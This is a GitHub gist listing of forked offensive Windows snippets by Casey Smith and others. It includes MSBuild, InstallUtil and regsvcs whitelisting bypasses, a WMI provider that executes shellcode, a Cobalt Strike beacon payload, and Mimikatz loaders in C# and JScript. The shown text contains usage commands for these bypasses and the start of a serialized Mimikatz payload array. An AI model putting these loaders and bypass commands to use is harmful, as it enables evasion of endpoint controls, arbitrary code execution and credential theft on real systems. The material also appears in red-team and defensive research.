Skip to content

Instantly share code, notes, and snippets.

View DanielRTeixeira's full-sized avatar

Daniel DanielRTeixeira

63 followers · 8 following
View GitHub Profile
@DanielRTeixeira
DanielRTeixeira / kernel.xml
Created November 2, 2017 15:25 — forked from nicholasmckinney/kernel.xml
Blog Post Code - Attacking Drivers with MSBuild.exe.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe kernel.xml -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
@DanielRTeixeira
DanielRTeixeira / DynamicWrapperCS.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/DynamicWrapperCS.cs
Dynamic Wrapper 1.1
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime;
using System.Text;
using System.Runtime.InteropServices;
using System.EnterpriseServices;
using ComTypes = System.Runtime.InteropServices.ComTypes;
 
@DanielRTeixeira
DanielRTeixeira / mimic.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/mimic.cs
WMI execution via C#
using System;
using System.Management;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe mimic.cs
Step Two:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U mimic.exe
@DanielRTeixeira
DanielRTeixeira / EvilWMIProvider.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/EvilWMIProvider.cs
Evil WMI Provider
// Based On LocalAdmin WMI Provider by Roger Zander
// http://myitforum.com/cs2/blogs/rzander/archive/2008/08/12/how-to-create-a-wmiprovider-with-c.aspx
// Adapted For Evil By @subTee
// Executes x64 ShellCode
//
// Deliver and Install dll
// C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /i EvilWMIProvider.dll
// Invoke calc for SYSTEM level calculations
// Invoke-WmiMethod -Class Win32_Evil -Name ExecShellCalcCode
// Invoke-WmiMethod -Namespace root\cimv2 -Class Win32_Evil -Name ExecShellCode -ArgumentList @(0x90,0x90,0x90), $null
@DanielRTeixeira
DanielRTeixeira / regsvcs.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/regsvcs.cs
Application Whiltelisting Bypass - regsvcs/regasm
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Create Your Strong Name Key -> key.snk
@DanielRTeixeira
DanielRTeixeira / dynwrap.js
Created November 2, 2017 15:25 — forked from nicholasmckinney/dynwrap.js
RegistrationFree DynamicWrapperX
var actCtx = new ActiveXObject( "Microsoft.Windows.ActCtx" );
actCtx.Manifest = "C:\\Tools\\COM\\dynwrap.test.manifest";
try
{
var DX = actCtx.CreateObject("DynamicWrapperX");
DX.Register("user32.dll", "MessageBoxW", "i=hwwu", "r=l"); // Register a dll function.
res = DX.MessageBoxW(0, "Hello, world!", "Test", 4); // Call the function.
}
catch(e){ WScript.Echo("Fail");}
@DanielRTeixeira
DanielRTeixeira / beaconPayload.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/beaconPayload.cs
Application Whitelisting Evasion With Beacon - Cobalt Strike - Sample
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@DanielRTeixeira
DanielRTeixeira / execalc.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/execalc.cs
Module Initializer ShellCode Example
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@DanielRTeixeira
DanielRTeixeira / katz.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/katz.cs
.NET 2.0.50727 Mimikatz Extract and Execute -
This file has been truncated, but you can view the full file.
using System;
using System.IO;
using System.Text;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
@DanielRTeixeira
DanielRTeixeira / katz.js
Created November 2, 2017 15:26 — forked from nicholasmckinney/katz.js
Mimikatz in JS - Courtesy of James Forshaw - https://github.com/tyranid/DotNetToJScript ;-)
This file has been truncated, but you can view the full file.
var serialized_obj = [
0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,
101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,
101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46,
68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,
103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,
122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,
0,9,3,0,0,0,9,4,0,0,0,4,2,0,0,0,48,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,